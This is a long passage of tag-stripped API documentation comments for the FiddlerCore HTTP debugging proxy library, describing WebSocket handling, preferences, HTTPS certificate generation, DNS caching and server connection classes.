http://tools.ietf.org/html/rfc6455 + + + + + Unmasks the first array into the third, using the second as a masking key. + + + + + + + + Masks the first array's data using the key in the second + + The data to be masked + A 4-byte obfuscation key, or null. + + + + Replaces the WebSocketMessage's payload with the specified string, masking if needed. + + + + + + Copies the provided byte array over the WebSocketMessage's payload, masking if needed. + + + + + + Masks the provided array (if necessary) and assigns it to the WebSocketMessage's payload. + + New array of data + + + + Return the WebSocketMessage's payload as a string. + + + + + + Copy the WebSocketMessage's payload into a new Byte Array. + + A new byte array containing the (unmasked) payload. + + + + Is this a Request message? + + + + + Was this Message eaten? + + + + + Should this message be paused for tampering? + TODO: Not yet implemented + + + + + The WebSocketTimers collection tracks the timestamps for this message + + + + + The raw payload data, which may be masked + + + + + The four-byte payload masking key, if any + + + + + The type of the WebSocket Message's frame + + + + + Timers + + + + + When was this message read from the sender + + + + + When did transmission of this message to the recipient begin + + + + + When did transmission of this message to the recipient end + + + + + Return the timers formatted to be placed in pseudo-headers used in saving the WebSocketMessage to a stream (SAZ) + + + + + + Utilities for WebSocket interop. + + + + + Servers must indicate that they speak the WebSocket protocol by echo'ing back a SHA1-hash of the + client's [Sec-WebSocket-Key] header appended with the magic value [258EAFA5-E914-47DA-95CA-C5AB0DC85B11]. + This challenge-response is provided in the server's [Sec-WebSocket-Accept] response header. + + The value of the Sec-WebSocket-Key header + A value suitable for the server's Sec-WebSocket-Accept header + + + + The MockTunnel represents a CONNECT tunnel which was reloaded from a SAZ file. + + + + + The CONFIG object is Fiddler's legacy settings object, introduced before the advent of the Preferences system. + + + + + Cached layout info for columns. + + + + + True if this is a "Viewer" instance of Fiddler that will not persist its settings + + + + + TODO: Why is this defaulted to FALSE? Has been since 2009, probably due to some bug. Should keep better records. (Sigh). + + + + + Boolean controls whether Fiddler should map inbound connections to their original process using IPHLPAPI + + + + + Boolean controls whether Fiddler should attempt to decrypt HTTPS Traffic + + + + + Boolean controls whether Fiddler will attempt to use the Server Name Indicator TLS extension to generate the SubjectCN for certificates + + + + + Should Audio/Video types automatically stream by default? + + + + + Returns 127.0.0.1:{ListenPort} or fiddler.network.proxy.RegistrationHostName:{ListenPort} + + + + + Use 128bit AES Encryption when password-protecting .SAZ files. Note that, while this + encryption is much stronger than the default encryption algorithm, it is significantly + slower to save and load these files, and the Windows Explorer ZIP utility cannot open them. + + + + + SSL/TLS Protocols we allow the client to choose from (when we call AuthenticateAsServer) + We allow all protocols by default (Ssl2,Ssl3,Tls1) and also 'Bitwise OR' in the constants for TLS1.1 and TLS1.2 in case we happen to be running on .NET4.5. + + + + + SSL/TLS Protocols we request the server use (when we call AuthenticateAsClient). By default, SSL3 and TLS1 are accepted; we exclude SSL2 so that TLS Extensions may be sent. + We do NOT enable TLS1.1 or TLS1.2 by default because many servers will fail if you offer them and unlike browsers, .NET has no fallback code. + + + + + Version information for the Fiddler/FiddlerCore assembly + + + + + Will send traffic to an upstream proxy? + OBSOLETE -- DO NOT USE. see instead. + + + + + The encoding with which HTTP Headers should be parsed. Defaults to UTF8, but may be overridden by specifying a REG_SZ containing the encoding name in the registry key \Fiddler2\HeaderEncoding + + + + + Controls whether Fiddler will reuse server connections for multiple sessions + + + + + Controls whether Fiddler will reuse client connections for multiple sessions + + + + + Controls whether Fiddler should register as the HTTPS proxy + + + + + Controls whether Fiddler should register as the FTP proxy + + + + + Controls whether Fiddler will try to write exceptions to the System Event log. Note: Usually fails due to ACLs on the Event Log. + + + + + Controls whether Fiddler will attempt to log on to the upstream proxy server to download the proxy configuration script + + + + + Controls whether Fiddler will attempt to connect to IPv6 addresses + + + + + Name of connection to which Fiddler should autoattach if MonitorAllConnections is not set + + + + + The username to send to the upstream gateway if the Version Checking webservice request requires authentication + + + + + The password to send to the upstream gateway if the Version Checking webservice request requires authentication + + + + + Set this flag if this is a "temporary" port (E.g. specified on command line) and it shouldn't be overridden in the registry + + + + + Controls whether Certificate-Generation output will be spewed to the Fiddler Log + + + + + Alternative hostname which Fiddler should recognize as an alias for the local machine. The + default value of ? will never be usable, as it's the QueryString delimiter + + + + + (Lowercase) Machine Name + + + + + (Lowercase) Machine Domain Name + + + + + List of hostnames for which HTTPS decryption (if enabled) should be skipped + + + + + True if Fiddler should be maximized on restart + + + + + Return a Special URL. + + String constant describing the URL to return. CASE-SENSITIVE! + Returns target URL + + + + Get a registry path for a named constant + + The path to retrieve [Root, UI, Dynamic, Prefs] + The registry path + + + + Return an app path (ending in Path.DirectorySeparatorChar) or a filename + + CASE-SENSITIVE + The specified filesystem path + + + + Ensure that the per-user folders used by Fiddler are present. + + + + + Control which processes have HTTPS traffic decryption enabled + + + + + What mechanism, if any, should Fiddler use to find the upstream proxy/gateway? + + + + + Port to which Fiddler should forward inbound requests when configured to run as a Reverse Proxy + + + + + On attach, will configure WinINET to bypass Fiddler for these hosts. + + + + + Boolean indicating whether Fiddler will open the listening port exclusively + + + + + Controls whether server certificate errors are ignored when decrypting HTTPS traffic. + + + + + Controls whether notification dialogs and prompts should be shown. + + + + + The port upon which Fiddler is configured to listen. + + + + + Returns the path and filename of the editor used to edit the Rules script file. + + + + + Returns true if Fiddler should permit remote connections. Requires restart. + + + + + When may requests be resent on a new connection? + + + + + The request may always be retried. + + + + + The request may never be retried + + + + + The request may only be resent if the HTTP Method is idempotent. + This SHOULD be the default per HTTP spec, but this appears to break tons of servers. + + + + + Type of Upstream Gateway + + + + + Traffic should be sent directly to the server + + + + + Traffic should be sent to a manually-specified proxy + + + + + Traffic should be sent to the System-configured proxy + + + + + Proxy should be automatically detected + + + + + A simple Process Type enumeration used by various filtering features + + + + + Include all Processes + + + + + Processes which appear to be Web Browsers + + + + + Processes which appear to NOT be Web Browsers + + + + + Include only traffic where Process ID isn't known (e.g. remote clients) + + + + + EventArgs for preference-change events. See http://msdn.microsoft.com/en-us/library/ms229011.aspx. + + + + + The name of the preference being added, changed, or removed + + + + + The string value of the preference, or null if the preference is being removed + + + + + Returns TRUE if ValueString=="true", case-insensitively + + + + + The IFiddlerPreferences Interface is exposed by the FiddlerApplication.Prefs object, and enables + callers to Add, Update, and Remove preferences, as well as observe changes to the preferences. + + + + + Store a boolean value for a preference + + The named preference + The boolean value to store + + + + Store an Int32 value for a preference + + The named preference + The int32 value to store + + + + Store a string value for a preference + + The named preference + The string value to store + + + + Get a preference's value as a boolean + + The Preference Name + The default value for missing or invalid preferences + A Boolean + + + + Gets a preference's value as a string + + The Preference Name + The default value for missing preferences + A string + + + + Gets a preference's value as a 32-bit integer + + The Preference Name + The default value for missing or invalid preferences + An integer + + + + Removes a named preference from storage + + The name of the preference to remove + + + + Add a Watcher that will be notified when a value has changed within the specified prefix. + + The prefix of preferences for which changes are interesting + The Event handler to notify + Returns the Watcher object added to the notification list + + + + Removes a previously-created preference Watcher from the notification queue + + The Watcher to remove + + + + Indexer. Returns the value of the preference as a string + + The Preference Name + The Preference value as a string, or null + + + + The PreferenceBag is used to maintain a threadsafe Key/Value list of preferences, persisted in the registry, and with appropriate eventing when a value changes. + + + + + Load the existing preferences from the Registry into the Preferences bag. + Note: Does not fire any events. + + + + + Serialize the existing preferences to the Registry. + + + + + Get a string array of the preference names + + string[] of preference names + + + + Gets a preference's value as a string + + The Preference Name + The default value if the preference is missing + A string + + + + Return a bool preference. + + The Preference name + The default value to return if the specified preference does not exist + The boolean value of the Preference, or the default value + + + + Return an Int32 Preference. + + The Preference name + The default value to return if the specified preference does not exist + The Int32 value of the Preference, or the default value + + + + Update or create a string preference. + + The name of the Preference + The value to assign to the Preference + + + + Update or create a Int32 Preference + + The name of the Preference + The value to assign to the Preference + + + + Update or create a Boolean preference. + + The name of the Preference + The value to assign to the Preference + + + + Delete a Preference from the collection. + + The name of the Preference to be removed. + + + + Remove all Watchers + + + + + Remove all watchers and write the registry. + + + + + Return a description of the contents of the preference bag + + Multi-line string + + + + Return a string-based serialization of the Preferences settings. + + TRUE for a multi-line format with all preferences + String + + + + Returns a CRLF-delimited string containing all Preferences whose Name case-insensitively contains the specified filter string. + + Partial string to match + A string + + + + Add a watcher for changes to the specified preference or preference branch. + + Preference branch to monitor, or String.Empty to watch all + The EventHandler accepting PrefChangeEventArgs to notify + Returns the PrefWatcher object which has been added, store to pass to RemoveWatcher later. + + + + Remove a previously attached Watcher + + The previously-specified Watcher + + + + This function executes on a single background thread and notifies any registered + Watchers of changes in preferences they care about. + + A string containing the name of the Branch that changed + + + + Spawn a background thread to notify any interested Watchers of changes to the Target preference branch. + + The arguments to pass to the interested Watchers + + + + Returns a string naming the current profile + + + + + Indexer into the Preference collection. + + The name of the Preference to update/create or return. + The string value of the preference, or null. + + + + A simple struct which contains a Branch identifier and EventHandler + + + + + The HostList allows fast determination of whether a given host is in the list. It supports leading wildcards (e.g. *.foo.com), and the special tokens <local> and <loopback>. + Note: List is *not* threadsafe; instead of updating it, construct a new one. + + + + + Generate an empty HostList + + + + + Create a hostlist and assign it an initial set of sites + + List of hostnames, including leading wildcards, and optional port specifier. Special tokens are *, <local>, <nonlocal>, and <loopback>. + + + + Clear the HostList + + + + + Clear the List and assign the new string as the contents of the list. + + List of hostnames, including leading wildcards, and optional port specifier. Special tokens are *, <local>, <nonlocal>, and <loopback>. + TRUE if the list was constructed without errors + + + + Clear the list and assign the new string as the contents of the list. + + List of hostnames, including leading wildcards, and optional port specifier. Special tokens are *, <local>, <nonlocal>, and <loopback>. + Outparam string containing list of parsing errors + TRUE if the list was constructed without errors + + + + Return the current list of rules as a string + + String containing current rules, using "; " as a delimiter between entries + + + + Determine if a given Host is in the list + + A Host string, potentially including a port + TRUE if the Host's hostname matches a rule in the list + + + + Determine if a given Hostname is in the list + + A hostname, NOT including a port + TRUE if the hostname matches a rule in the list + + + + Determine if a given Host:Port pair matches an entry in the list + + A hostname, NOT including the port + The port + TRUE if the hostname matches a rule in the list + + + + This private tuple allows us to associate a Hostname and a Port + + + + + Port specified in the rule + + + + + Hostname specified in the rule + + + + + Create a new HostPortTuple + + + + + The policy which describes how this pipe may be reused by a later request. Ordered by least restrictive to most. + + + + + The ServerPipe may be freely reused by any subsequent request + + + + + The ServerPipe may be reused only by a subsequent request from the same client process + + + + + The ServerPipe may be reused only by a subsequent request from the same client pipe + + + + + The ServerPipe may not be reused for a subsequent request + + + + + A ServerPipe wraps a socket connection to a server. + + + + + User-approved list of Certificate Serial #s for which Fiddler should not raise a warning about certificate errors. + List contains entries of the form [ExpectedCN+ActualCertSerial#] + + + + + DateTime of the completion of the TCP/IP Connection + + + + + TickCount when this Pipe was last placed in a PipePool + + + + + Returns TRUE if this ServerPipe is connected to a Gateway + + + + + Returns TRUE if this ServerPipe is connected to a SOCKS gateway + + + + + The Pooling key used for reusing a previously pooled ServerPipe. See sPoolKey property. + + + + + This field, if set, tracks the process ID to which this Pipe is permanently bound; set by MarkAsAuthenticated. + NOTE: This isn't actually checked by anyone; instead the PID is added to the POOL Key + + + + + Backing field for the isAuthenticated property + + + + + String containing representation of the server's certificate + + + + + Wraps a socket in a Pipe + + The Socket + Pipe's human-readable name + True if the Pipe is attached to a gateway + The Pooling key used for socket reuse + + + + Marks this Pipe as having been authenticated. Depending on the preference "fiddler.network.auth.reusemode" this may impact the reuse policy for this pipe + + The client's process ID, if known. + + + + Sets the receiveTimeout based on whether this is a freshly opened server socket or a reused one. + + + + + Returns a semicolon-delimited string describing this ServerPipe + + A semicolon-delimited string + + + + Returns the Server's certificate Subject CN + + The CN field from the Subject of the certificate used to secure this HTTPS connection, or null if the connection is unsecure + + + + Return a string describing the HTTPS connection security, if this socket is secured + + A string describing the HTTPS connection's security. + + + + Returns a string describing how this connection is secured. + + + + + + Get the Transport Context for the underlying HTTPS connection so that Channel-Binding Tokens work correctly + + + + + + Get the user's default client cert for authentication; caching if if possible and permitted. + + + + + + This method is called by the HTTPS Connection establishment to optionally attach a client certificate to the request. + Test Page: https://tower.dartmouth.edu/doip/OracleDatabases.jspx or ClientCertificate.ms in Test folder should request on initial connection + In contrast, this one: https://roaming.officeapps.live.com/rs/roamingsoapservice.svc appears to try twice (renego) + + + + + + + + + + + This function secures an existing connection and authenticates as client. This is primarily useful when + the socket is connected to a Gateway/Proxy and we had to send a CONNECT and get a HTTP/200 Connected back before + we actually secure the socket. + http://msdn.microsoft.com/en-us/library/system.net.security.sslstream.aspx + + The CN to use in the certificate + Path to client certificate file + Reference-passed integer which returns the time spent securing the connection + TRUE if the connection can be secued + + + + Return a Certificate Collection containing certificate from the specified file. + + Path to the certificate. Relative Paths will be absolutified automatically + The Certificate collection, or null + + + + Policy for reuse of this pipe + + + + + Returns TRUE if there is an underlying, mutually-authenticated HTTPS stream. + + WARNING: Results are a bit of a lie. System.NET IsMutuallyAuthenticated == true if a client certificate is AVAILABLE even + if that certificate was never SENT to the server. + + + + + Returns TRUE if this PIPE is marked as having been authenticated using a Connection-Oriented Auth protocol: + NTLM, Kerberos, or HTTPS Client Certificate. + + + + + Indicates if this pipe is connected to an upstream (non-SOCKS) Proxy. + + + + + Indicates if this pipe is connected to a SOCKS gateway + + + + + Gets and sets the pooling key for this server pipe. + + + DIRECT->{http|https}/{serverhostname}:{serverport} + GW:{gatewayaddr:port}->* + GW:{gatewayaddr:port}->{http|https}/{serverhostname}:{serverport} + SOCKS:{gatewayaddr:port}->{http|https}/{serverhostname}:{serverport} + + + + + Returns the IPEndPoint to which this socket is connected, or null + + + + + CodeDescription attributes are used to enable the FiddlerScript Editor to describe available methods, properties, fields, and events. + + + + + CodeDescription attributes should be constructed by annotating a property, method, or field. + + The descriptive string which should be displayed for this this property, method, or field + + + + The descriptive string which should be displayed for this this property, method, or field + + + + + Flags that can be passed into the Startup method + + + + + No options. + + + + + Register with WinINET as the System Proxy + + + + + Decrypt HTTPS Traffic + + + + + Accept requests from remote computers or devices + + + + + Set this flag to forward requests to any upstream gateway + + + + + Set this flag to set all WinINET connections to use Fiddler, otherwise only the Local LAN is pointed to Fiddler + + + + + Start FiddlerCore with the default set of options (RegisterAsSystemProxy | DecryptSSL | AllowRemoteClients | ChainToUpstreamGateway | MonitorAllConnections | CaptureLocalhostTraffic) + + + + + A simple delegate for functions which accept no parameters. (MethodInvoker is the identical Framework version of this delegate) + + + + + An event handling delegate which is called during report calculation with the set of sessions being evaluated. + + The sessions in this report. + + + + An event handling delegate which is called as a part of the HTTP pipeline at various stages. + + The Web Session in the pipeline. + + + + This class acts as the central point for script/extensions to interact with Fiddler components. + + + + + TRUE if Fiddler is currently shutting down. Suspend all work that won't have side-effects. + + + + + The default certificate used for client authentication + + + + + Fiddler's "Janitor" clears up unneeded resources (e.g. server sockets, DNS entries) + + + + + Underlying Preferences container whose IFiddlerPreferences interface is exposed by the Prefs property + + + + + Gets Fiddler* version info + + A string indicating the build/flavor of the Fiddler* assembly + + + + Returns Help/About information. + + Display string describing the current Fiddler instance. + + + + Fiddler's core proxy object. + + + + + Fiddler Import/Export Transcoders + + + + + List of "leaked" temporary files to be deleted as Fiddler exits. + + + + + Checks if FiddlerCore is running. + + TRUE if FiddlerCore is started/listening; FALSE otherwise. + + + + Checks if FiddlerCore is running and registered as the System Proxy. + + TRUE if FiddlerCore IsStarted AND registered as the system proxy; FALSE otherwise. + + + + Recommended way to Start FiddlerCore listening on the specified port + + The port + The FiddlerCoreStartupFlags option you want to set; FiddlerCoreStartupFlags.Default is recommended + + + + Start the FiddlerCore engine; this overload is NOT RECOMMENDED + + + + + + + + Start the FiddlerCore engine; this overload is NOT RECOMMENDED + + Port to Listen on. + Boolean indicating if FiddlerCore should register as the system proxy. + Boolean indicating if FiddlerCore should decrypt secure traffic. If true, requires MakeCert.exe in the Application folder. + Boolean indicating if FiddlerCore should accept connections from remote computers. Note: You must ensure Firewall is configured to allow such connections to your program. + + + + Start a new proxy endpoint instance, listening on the specified port + + The port to listen on + TRUE if remote clients should be permitted to connect to this endpoint + A Hostname (e.g. EXAMPLE.com) if this endpoint should be treated as a HTTPS Server + A Proxy object, or null if unsuccessful + + + + Start a new proxy endpoint instance, listening on the specified port + + The port to listen on + TRUE if remote clients should be permitted to connect to this endpoint + A certificate to return when clients connect, or null + A Proxy object, or null if unsuccessful + + + + Shuts down the FiddlerCore proxy and disposes it. Note: If there's any traffic in progress while you're calling this method, + your background threads are likely to blow up with ObjectDisposedExceptions or NullReferenceExceptions. In many cases, you're + better off simply calling oProxy.Detach() and letting the garbage collector clean up when your program exits. + + + + + Notify a listener that a block of a response was read. + + The session for which the response is being read + byte buffer (not completely full) + bytes set. + FALSE if AbortReading was set + + + + Notify a listener that a block of a request was read. + + The session for which the response is being read + byte buffer (not completely full) + bytes set. + FALSE if AbortReading was set + + + + Export Sessions in the specified format + + Shortname of desired format + Sessions to export + Options to pass to the ISessionExport interface + Your callback event handler, or NULL to allow Fiddler to handle + TRUE if successful, FALSE if desired format doesn't exist or other error occurs + + + + Calls a Fiddler Session Importer and returns the list of loaded Sessions. + + String naming the Import format, e.g. HTTPArchive + Should sessions be added to WebSessions list? (Not meaningful for FiddlerCore) + Dictionary of Options to pass to the Transcoder + Your callback event handler, or NULL to allow Fiddler to handle + Loaded Session[], or null on Failure + + + + Reset the SessionID counter to 0. This method can lead to confusing UI, so call sparingly. + + + + + Report an exception to the user. + + The Exception + The Title of the dialog + + + + Report an exception to the user. + + The Exception + The Title of the dialog + The intro text to show. If null or empty, the default "Fiddler has encountered an unexpected... " message is shown. + + + + Show the user a message when an HTTP Error was encountered + + Session with error + Set to true to prevent pooling/reuse of client connection + The SessionFlag which should be set to log this violation + Set to true to prevent pooling/reuse of server connection + Information about the problem + + + + Process ID of Fiddler + + + + + processname:PID of Fiddler + + + + + We really don't want this method to get inlined, because that would cause the Xceed DLLs to get loaded in the Main() function instead + of when _SetXceedLicenseKeys is called; that, in turn, would delay the SplashScreen. + + + + + Used to track errors with addons. + + + + + + + Record that a temporary file was created and handed to an external tool. We'll do our best to delete this file on exit. + + The filename of the file to be deleted + + + + Clean up any Temporary files that were created + + + + + Fiddler's logging system + + + + + Fiddler's Preferences collection. Learn more at http://fiddler.wikidot.com/prefs + + + + + This event fires each time FiddlerCore reads data from network for the server's response. Note that this data + is not formatted in any way, and must be parsed by the recipient. + + + + + This event fires each time FiddlerCore reads data from network for the client's request. Note that this data + is not formatted in any way, and must be parsed by the recipient. + + + + + This event fires when a client request is received by Fiddler + + + + + This event fires when a server response is received by Fiddler + + + + + This event fires when Request Headers are available + + + + + This event fires when Response Headers are available + + + + + This event fires when an error response is generated by Fiddler + + + + + This event fires when a session has been completed + + + + + Sync this event to be notified when FiddlerCore has attached as the system proxy.")] + + + + + Sync this event to be notified when FiddlerCore has detached as the system proxy. + + + + + Fired each time Fiddler successfully establishes a TCP/IP connection + + + + + Fired each time Fiddler successfully accepts a TCP/IP connection + + + + + The Socket which was just Connected or Accepted + + + + + The Session which owns the this new connection + + + + + EventArgs class for the OnNotification handler + + + + + The string message of the notification + + + + + Enumeration of possible responses specified by the ValidateServerCertificateEventArgs as modified by FiddlerApplication's OnValidateServerCertificate event + + + + + The certificate will be considered valid if CertificatePolicyErrors == SslPolicyErrors.None, otherwise the certificate will be invalid unless the user manually allows the certificate. + + + + + The certificate will be confirmed with the user even if CertificatePolicyErrors == SslPolicyErrors.None. + Note: FiddlerCore does not support user-prompting and will always treat this status as ForceInvalid. + + + + + Force the certificate to be considered Valid, regardless of the value of CertificatePolicyErrors. + + + + + Force the certificate to be considered Invalid, regardless of the value of CertificatePolicyErrors. + + + + + These EventArgs are passed to the FiddlerApplication.OnValidateServerCertificate event handler when a server-provided HTTPS certificate is evaluated + + + + + EventArgs for the ValidateServerCertificateEvent that allows host to override default certificate handling policy + + The session + The CN expected for this session + The certificate provided by the server + The certificate chain of that certificate + Errors from default validation + + + + The port to which this request was targeted + + + + + The SubjectCN (e.g. Hostname) that should be expected on this HTTPS connection, based on the request's Host property. + + + + + The Session for which a HTTPS certificate was received. + + + + + The server's certificate chain. + + + + + The SslPolicyErrors found during default certificate evaluation. + + + + + Set this property to override the certificate validity + + + + + The X509Certificate provided by the server to vouch for its authenticity + + + + + These EventArgs are constructed when FiddlerApplication.OnClearCache is called. + + + + + Constructs the Event Args + + Should Cache Files be cleared? + Should Cookies be cleared? + + + + True if the user wants cache files to be cleared + + + + + True if the user wants cookies to be cleared + + + + + When the FiddlerApplication.OnReadResponseBuffer event fires, the raw bytes are available via this object. + + + + + Set to TRUE to request that upload or download process be aborted as soon as convenient + + + + + Session for which this responseRead is occurring + + + + + Byte buffer returned from read. Note: Always of fixed size, check iCountOfBytes to see which bytes were set + + + + + Count of latest read from Socket. If less than 1, response was ended. + + + + + Cache of Hostname->Address mappings + + + + + Number of milliseconds that a DNS cache entry may be reused without validation. + + + + + Maximum number of A/AAAA records to cache for DNS entries. + Beware: Changing this number changes how many IP-failovers Fiddler will perform if fiddler.network.dns.fallback is set, + and increasing the number will consume more memory in the cache. + + + + + Clear the DNS Cache. Called by the NetworkChange event handler in the oProxy object + + + + + Remove all expired DNSCache entries; called by the Janitor + + + + + Show the contents of the DNS Resolver cache + + + + + + Gets first available IP Address from DNS. Throws if address not found! + + String containing the host + True to use Fiddler's DNS cache. + IPAddress of target, if found. + + + + Gets IP Addresses for host from DNS. Throws if address not found! + + String containing the host + True to use Fiddler's DNS cache. + The Timers object to which the DNS lookup time should be stored, or null + List of IPAddresses of target, if any found. + + + + Trim an address list, removing the duplicate entries, any IPv6-entries if IPv6 is disabled, + and entries beyond the COUNT_MAX_A_RECORDS limit. + + The list to filter + A filtered address list + + + + A DNSCacheEntry holds a cached resolution from the DNS + + + + + TickCount of this record's creation + + + + + IPAddresses for this hostname + + + + + Construct a new cache entry + + The address information to add to the cache + + + + This class is used to find and create certificates for use in HTTPS interception. + The default implementation (DefaultCertProvider object) uses the Windows Certificate store, + but if a plugin ICertificateProvider is provided, it is used instead. + + + + + Enables specification of a delegate certificate provider that generates certificates for HTTPS interception. + + + + + Ensures that the Certificate Generator is ready. + + + + + Load a delegate Certificate Provider + + The provider, or null + + + + Removes Fiddler-generated certificates from the Windows certificate store + + + + + Removes Fiddler-generated certificates from the Windows certificate store + + Indicates whether Root certificates should also be cleaned up + + + + Returns the Root certificate that Fiddler uses to generate per-site certificates used for HTTPS interception. + + Returns the root certificate, if present, or null if the root certificate does not exist. + + + + Find a certificate from the certificate store. + + A string of the form: "www.hostname.com" + A certificate or /null/ + + + + Store an override Certificate in the Certificate Maker to return later. + + The hostname for which this certificate should be returned. + The X509Certificate2 with attached Private Key + TRUE if the Certificate Provider succeeded. FALSE if Provider doesn't support overrides. THROWS if Certificate lacked Private Key. + + + + Store an override Certificate in the Certificate Maker to return later. + + The hostname for which this certificate should be returned. + The filename of the PFX file containing the certificate and private key + The password for the PFX file + + + + Determine if the self-signed root certificate exists + + True if the Root certificate returned from GetRootCertificate is non-null, False otherwise. + + + + Is Fiddler's root certificate in the Root store? + + TRUE if so + + + + Is Fiddler's root certificate in the Machine Root store? + + TRUE if so + + + + Create a self-signed certificate to use for HTTPS interception + + TRUE if successful + + + + Finds the Fiddler root certificate and prompts the user to add it to the TRUSTED store + + True if successful + + + + Dispose of the Certificate Provider, if any. + + + + + This class allows fast-lookup of a ProcessName from a ProcessID. + + + + + Static constructor which registers for cleanup + + + + + Prune the cache of expiring PIDs + + + + + Map a Process ID (PID) to a Process Name + + The PID + A Process Name (e.g. IEXPLORE.EXE) or String.Empty + + + + Structure mapping a Process ID (PID) to a ProcessName + + + + + The TickCount when this entry was created + + + + + The ProcessName (e.g. IEXPLORE.EXE) + + + + + Create a PID->ProcessName mapping + + The ProcessName (e.g. IEXPLORE.EXE) + + + + The WinHTTPAutoProxy class is used to handle upstream gateways when the client was configured to use WPAD or an Proxy AutoConfig (PAC) script. + + + + + Indication as to whether AutoProxy information is valid. 0=Unknown/Enabled; 1=Valid/Enabled; -1=Invalid/Disabled + + + + + Returns a string containing the currently selected autoproxy options + + + + + + Get WPAD-discovered URL for display purposes (e.g. Help> About); note that we don't actually use this when determining the gateway, + instead relying on the WinHTTPGetProxyForUrl function to do this work for us. + + A WPAD url, if found, or String.Empty + + + + Return gateway endpoint for requested Url. TODO: Add caching layer! TODO: Support multiple results? + + The URL for which the gateway should be determined + The Endpoint of the Gateway, or null + TRUE if WinHttpGetProxyForUrl succeeded + + + + Close the WinHTTP Session handle + + + + + Note: Be sure to use the same hSession to prevent redownload of the proxy script + + + + + Set to true to send Negotiate creds when challenged to download the script + + + + + The DisplayName for this Connection + + + + + Is this Connectoid expected to be pointed at Fiddler? + + + + + The proxy settings collected from this connection before Fiddler was attached. + + + + + The WinINET Connectoids class contains the RAS/WinINET "connectoids" seen inside IE's Tools > Internet Options > Connections. + This class exposes methods to retrieve and update the proxy information for each connectoid in the list. + + + TODO: The methods of the class are not thread-safe and probably should be. + TODO: Need to refactor visibility here. Right now, _oConnectoids is (internal) instead of (private) because the + Options dialog iterates the list. And about:connectoids wants access too. Eventually ought to wrap as a ReadOnlyCollection getter + + + + + Dictionary of all Connectoids, indexed by the Connectoid's Name + + + + + Expensive Call. Enumerates all Connectoids using the RAS APIs, then determines the proxy information + for each connectoid. + + + + + Return the configured default connectoid's proxy information. + + Either proxy information from "DefaultLAN" or the user-specified connectoid + + + + Called when direct Registry groveling determines that the Default LAN connection's proxy was changed but InternetQueryOption + hasn't yet noticed. + + + + + Enumerates all of the connectoids and determines if the bIsHooked field is incorrect. If so, correct the value + and return TRUE to indicate that work was done. + + The Proxy:Port string to look for (e.g. Config.FiddlerListenHostPort) + TRUE if any of the connectoids' Hook state was inaccurate. + + + + Updates all (or CONFIG.sHookConnectionNamed-specified) connectoids to point at the argument-provided proxy information. + + The proxy info to set into the Connectoid + TRUE if updating at least one connectoid was successful + + + + Restore original proxy settings for any connectoid we changed. + + FALSE if any connectoids failed to unhook + + + + This FTP Gateway class is used if Fiddler is configured as the FTP proxy and there's no upstream gateway configured. + Fiddler must act as a HTTP->FTP protocol converter, which it does by using the .NET FTP classes. + + + + + Make a FTP request using the .NET FTPWebRequest class. + WARNING: This method will throw. + + Session bearing an FTP request + Returns Response body stream + Returns generated Response headers + + + + Map a local port number to the originating process ID + + The local port number + The originating process ID + + + + Calls the GetExtendedTcpTable function to map a port to a process ID. + This function is (over) optimized for performance. + + Client port + AF_INET or AF_INET6 + PID, if found, or 0 + + + + Given a local port number, uses GetExtendedTcpTable to find the originating process ID. + First checks the IPv4 connections, then looks at IPv6 connections. + + Client applications' port + ProcessID, or 0 if not found + + + + Enumeration of possible queries that can be issued using GetExtendedTcpTable + http://msdn2.microsoft.com/en-us/library/aa366386.aspx + + + + + The ServerChatter object is responsible for transmitting the Request to the destination server and retrieving its Response. + + + + + Size of buffer passed to pipe.Receive when reading from the server + + + + + The pipeServer represents Fiddler's connection to the server. + + + + + The session to which this ServerChatter belongs + + + + + The inbound headers on this response + + + + + Indicates whether this request was sent to a (non-SOCKS) Gateway, which influences whether the protocol and host are + mentioned in the Request line + When True, the session should have SessionFlags.SentToGateway set. + + + + + Buffer holds this response's data as it is read from the pipe. + + + + + + Pointer to first byte of Entity body (or to the start of the next set of headers in the case where there's a HTTP/1xx intermediate header) + Note: This gets reset to 0 if we're streaming and dropping the response body. + + + + + Optimization: tracks how far we've looked into the Request when determining iEntityBodyOffset + + + + + True if HTTP Response headers have been returned to the client. + + + + + Indicates how much of _responseData buffer has already been streamed to the client + + + + + Position in responseData of the start of the latest parsed chunk size information + + + + + Peek at the current response body and return it as an array + + The response body as an array, or byte[0] + + + + Create a new ServerChatter object. + + + + + + Create a ServerChatter object and initialize its headers from the specified string + + + + + + + Clear the current object and start over + + If TRUE, allocates a buffer (m_responseData) to read from a pipe. If FALSE, nulls m_responseData. + + + + Scans responseData stream for the \r\n\r\n (or variants) sequence + which indicates that the header block is complete. + + SIDE EFFECTS: + iBodySeekProgress is updated and maintained across calls to this function + iEntityBodyOffset is updated if the end of headers is found + + True, if responseData contains a full set of headers + + + + Parse the HTTP Response into Headers and Body. + + + + + + Attempts to get Headers from the stream. If a HTTP/100 Continue block is present, it is removed and ignored. + + + + + Deletes a single HTTP/1xx header block from the Response stream + and adjusts all header-reading state to start over from the top of the stream. + Note: If 'fiddler.network.leakhttp1xx' is TRUE, then the 1xx message will have been leaked before calling this method. + + + + + Adjusts PipeServer's ReusePolicy if response headers require closure. Then calls _detachServerPipe() + + + + + Queues or End()s the ServerPipe, depending on its ReusePolicy + + + + + Determines whether a given PIPE is suitable for this session based on this session's target, PID, etc. + + The Client Process ID, if any + + + TRUE if the connection should be used, FALSE otherwise + + + + Connect to the Server or Gateway + Note that HTTPS Tunnels use a different code path. + + Note that this function is crazy complicated due to the intricacies of socket reuse. We want to avoid + redundant DNS lookups etc, and we need to be sensitive to the fact that the Gateway can change from request to request. + + TODO: Move this into the Pipe code and into the new PipePool. probably should be a static that returns a pipe? + + TRUE, if pipeServer was assigned a connection to the target server + + + + Performs a SOCKSv4A handshake on the socket + + + + + TODO: This entire function needs to go away. What we really want to do is generate a new Session that is a CONNECT tunnel and + pass it through the normal request processing pipeline. That allows us to automatically authenticate using the user's Windows + credentials. + + Sends a CONNECT to the specified socket acting as a gateway proxy and waits for a 200 OK response. This method is used when Fiddler needs + a HTTPS Connection through a proxy but the client didn't establish one (e.g. the Request Composer). Note: May THROW + + The Socket + The host to which the gateway should connect + The port to which the gateway should connect + The HTTPRequestHeaders from the original request + TRUE if a 200 OK was received, FALSE if something else was received, THROWS EXCEPTION on network errors + + + + Given an address list and port, attempts to create a socket to the first responding host in the list (retrying via DNS Failover if needed). + + IPEndpoints to attempt to reach + Session object to annotate with timings and errors + Connected Socket. Throws Exceptions on errors. + + + + Sends the HTTP Request to the upstream server or proxy. If the request is a CONNECT and there's no + gateway, this method ~only~ establishes the connection to the target, but does NOT send 